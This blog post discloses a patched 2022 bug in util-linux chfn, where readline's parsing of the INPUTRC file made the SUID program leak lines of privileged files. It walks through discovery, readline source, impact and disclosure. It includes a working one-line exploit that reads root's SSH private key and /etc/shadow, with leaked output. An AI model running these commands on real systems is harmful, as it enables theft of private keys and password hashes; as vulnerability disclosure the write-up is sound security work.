By roddux // Rory M
I discovered a logic bug in the readline dependency that partially reveals file information when parsing the file specified in the INPUTRC environment variable. This could allow attackers to move laterally on a box where sshd is running, a given user is able to login, and the user’s private key is stored in a known location (/home/user/.ssh/id_rsa).
This bug was reported and patched back in February 2022, and chfn isn’t typically provided by util-linux anyway, so your boxen are probably fine. I’m writing about this because the exploit is amusing, as it’s made possible due to a happy coincidence of the readline configuration file parsing functions marrying up well to the format of SSH keys—explained further in this post.
TL;DR:
$ INPUTRC=/root/.ssh/id_rsa chfn
Changing finger information for user.
Password:
readline: /root/.ssh/id_rsa: line 1: -----BEGIN: unknown key modifier
readline: /root/.ssh/id_rsa: line 2: b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn: no key sequence terminator
...
readline: /root/.ssh/id_rsa: line 37: avxwhoky6ozXEAAAAJcm9vdEBNQVRFAQI=: no key sequence terminator
readline: /root/.ssh/id_rsa: line 38: -----END: unknown key modifier
Office [b]: ^C
$
Finding the bug
I was recently enticed by SUID bugs after fawning over the Qualys sudo bug a while back. As I was musing through The Art of Software Security Assessment —vol. 2 wen?— I was spurred into looking at environment variables as an attack surface. With a couple of hours to kill, I threw an interposing library into /etc/ld.so.preload to log getenv calls:
#define _GNU_SOURCE
#include <dlfcn.h>
#include <syslog.h>
// gcc getenv.c -fPIC -shared -ldl -o getenv.so
char *(*_real_getenv)(const char *) = 0;
char *getenv(const char *name) {
if(!_real_getenv) _real_getenv = dlsym(RTLD_NEXT, "getenv");
char *res = _real_getenv(name);
syslog(1, "getenv(\"%s\") => \"%s\"\n", name, res);
return res;
}
NB: We’re just going to pretend this is how I did it from the get-go, and that I didn’t waste time screwing around trying to get SUID processes launched under gdb.
With the logging library in place, I ran find / -perm /4000 (yes, I Googled the arguments) to find all of the SUID binaries on my system.
If you’re playing along, be warned: logging all getenv calls is insanely noisy and leads to many tedious, repetitive, uninteresting, and repetitive results. After blowing through countless (like, 20) variations of LC_MESSAGES, SYSTEMD_IGNORE_USERDB, SYSTEMD_IGNORE_CHROOT and friends, I came across INPUTRC, which is used somewhere in the chfn command. Intuiting that INPUTRC refers to a configuration file, I blindly passed INPUTRC=/etc/shadow to see what would happen…
$ INPUTRC=/etc/shadow chfn Changing finger information for user. Password: readline: /etc/shadow: line 9: systemd-journal-remote: unknown key modifier readline: /etc/shadow: line 10: systemd-network: unknown key modifier readline: /etc/shadow: line 11: systemd-oom: unknown key modifier readline: /etc/shadow: line 12: systemd-resolve: unknown key modifier readline: /etc/shadow: line 13: systemd-timesync: unknown key modifier readline: /etc/shadow: line 14: systemd-coredump: unknown key modifier Office [b]: ^C $
Hmmmmm. /etc/shadow? In my terminal? It’s more likely than you think.
Between the lines: root cause analysis
My first thought was to Google “INPUTRC.” Helpfully, the first result of my search gave me clues that it was related to the readline library. Indeed, by digging through the readline-8.1 source code, I found that “INPUTRC” is passed (via sh_get_env_value) as a parameter to getenv. Looks about right!
int rl_read_init_file (const char *filename) {
// ...
if (filename == 0)
filename = sh_get_env_value ("INPUTRC"); // <- bingo
Searching the readline codebase for the error message “unknown key modifier” that we saw earlier also turns up results. rl_read_init_file calls _rl_read_init_file, which routes to the rl_parse_and_bind function, which emits the error. From this call stack, we can deduce the error occurs when readline attempts to parse the input file—specifically, when it tries to interpret the file contents as a keybind configuration.
Let’s take it from the top. After skipping whitespace, _rl_read_init_file calls rl_parse_and_bind for each non-comment line in the input file. The rl_parse_and_bind function contains four error paths that lead to _rl_init_file_error, which prints the line currently being parsed. This is the root of the bug, as readline is not aware that it’s running with elevated privileges, and assumes it’s safe to print parts of the input file.
_rl_init_file_error is called with the argument string (which is the current line as it loops over the config file) on lines 1557, 1569, 1684, and 1759. Several other error paths can result in partial disclosure of the current line; they are omitted here for brevity. We will also skip looking at what would happen with passing binary files.
By examining the conditions required to reach the paths mentioned above, we can deduce the conditions under which we can leak lines from a file:
- We can leak a line that begins with a quotation mark and does not have a closing quotation mark:
if (*string == '"') { i = _rl_skip_to_delim (string, 1, '"'); /* If we didn't find a closing quote, abort the line. */ if (string[i] == '\0') { _rl_init_file_error ("%s: no closing `\"' in key binding", string); return 1; } else i++; /* skip past closing double quote */ }$ cat test "AAAAA $ INPUTRC=test chfn Changing finger information for user. Password: readline: test: line 1: "AAAAA: no closing `"' in key binding Office [test]: ^C $
- We can leak a line that starts with a colon and contains no whitespace or nulls:
i = 0; // ... /* Advance to the colon (:) or whitespace which separates the two objects. */ for (; (c = string[i]) && c != ':' && c != ' ' && c != '\t'; i++ ); if (i == 0) { _rl_init_file_error ("`%s': invalid key binding: missing key sequence", string); return 1; }$ cat test :AAAAA $ INPUTRC=test chfn Changing finger information for user. Password: readline: test: line 1: `:AAAAA: invalid key binding: missing key sequence Office [test]: ^C $
- We can leak a line that does not contain a space, a tab, or a colon (or nulls):
for (; (c = string[i]) && c != ':' && c != ' ' && c != '\t'; i++ ); // ... foundsep = c != 0; // ... if (foundsep == 0) { _rl_init_file_error ("%s: no key sequence terminator", string); return 1; }$ cat test AAAAA $ INPUTRC=test chfn Changing finger information for user. Password: readline: test: line 1: AAAAA: no key sequence terminator Office [test]: ^C $
Happily, SSH keys match this third path, so we can stop here. Well, the juicy bits match, anyway—all the key data is typically Base64-encoded in a PEM container. We can also use this bug to read anything else that’s inside a PEM container, such as certificate files; or just base64 encoded, such as wireguard keys.
Impact
The bug was introduced in version 2.30-rc1 in 2017, which would make the bug old enough to hit LTS releases. However; Debian, Red Hat and Ubuntu have chfn provided by a different package, so are unaffected. In the default configuration on Red Hat, /etc/login.defs doesn’t contain CHFN_RESTRICT. This omission would prevent util-linux/chfn from changing any user information, which would also kill the bug. Neither CentOS or Fedora seem to have chfn installed by default in my testing, either.
Outside of chfn, then, how impactful is this? readline is quite well known, but our interest here is its use in SUID binaries. Running ldd on every SUID on my Arch box shows that the library is used only by chfn... How can we quickly determine a wider impact?
I first thought of scanning the package repositories, but unfortunately none of the web interfaces to the Debian, Ubuntu, Fedora, CentOS or Arch package repos provide file modes... This means we don’t have enough information to determine whether any binaries in a given package are SUID.
Sooo I mirrored the Debian and Arch repos for x86_64 and checked them by hand, assisted by some terrible shell scripts. The gist of that endeavor is that Arch is the only distro that has a package (util-linux) that contains a SUID executable (chfn) which loads readline by default. Oh well!
Side note: I totally fumbled reporting the CVE for this, so my name isn’t listed against the CVE with MITRE... RIP my career.
Don’t use readline in SUID applications
This was pretty much the result of an email chain sent to the Arch and Red Hat security teams, and to the package maintainer, who went ahead and removed readline support from chfn. The bug got patched like a year ago, so hopefully most affected users have updated by now.
Homework: go have a look at how many SUIDs use ncurses— atop on macOS, at least—and try messing with the TERMINFO environment variable... Let me know if you find anything :^)
Acknowledgements
Thank you to Karel Zak, and both of the Arch and Red Hat Security teams, who were all very helpful and expedient in rolling out fixes. Thank you also to disconnect3d for help and advice.
Timeline
- May 2, 2017: Bug introduced
- December 31, 2020: g l o b a l t i m e l i n e r e s e t
- February 8, 2022: Reported the bug to Arch and util-linux upstream
- February 14, 2022: Bug fixed in util-linux upstream
- March 28, 2022: Blog post about the discovery of the bug drafted
- May 12, 2022: Blog post published internally
- May 2022-Feb 2023:
Procrastination^H Allowing time for updates to roll out - February 16, 2023: Blog post published